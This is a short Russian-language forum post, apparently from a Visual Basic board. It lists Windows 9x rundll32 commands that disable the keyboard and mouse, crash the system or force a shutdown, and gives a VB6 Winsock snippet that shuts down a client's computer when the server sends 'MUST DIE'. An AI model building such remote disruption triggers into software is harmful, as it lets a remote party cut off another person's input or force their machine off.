Смотри...
rundll32 keyboard,disable - выключить клавиатуру
rundll32 mouse,disable - выключить мышку
rundll32 user,swapmousebutton - поменять местами кнопки мыши
rundll32 user,disableoemlayer - спровацировать сбой системы
rundll32 shell32,SHExitWindowsEx 0 - выход из текущего пользователя
rundll32 krnl386.exe,exitkernel - выключить комп без вопросов
rundll32 shell32,ShellAboutA Info-Box - показать окно About Windows
Когда клиент устанавливает соединение и посылает свой ник...
Сервак получив ник может вырубить комп... как это реализовать ...
Вот:)
На клиенте пишем:
- Код: Выделить всё
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim AAA As String
Winsock1.GetData AAA
'в 98й работает
If AAA = "MUST DIE" Then Shell "rundll32 krnl386.exe,exitkernel"
End Sub
Winsock1 - это винсок клиента если имя не менял то таоке и оставь

Программист - это маленький Бог, а все его ошибки - это самостоятельные творения:)
Так задумано:)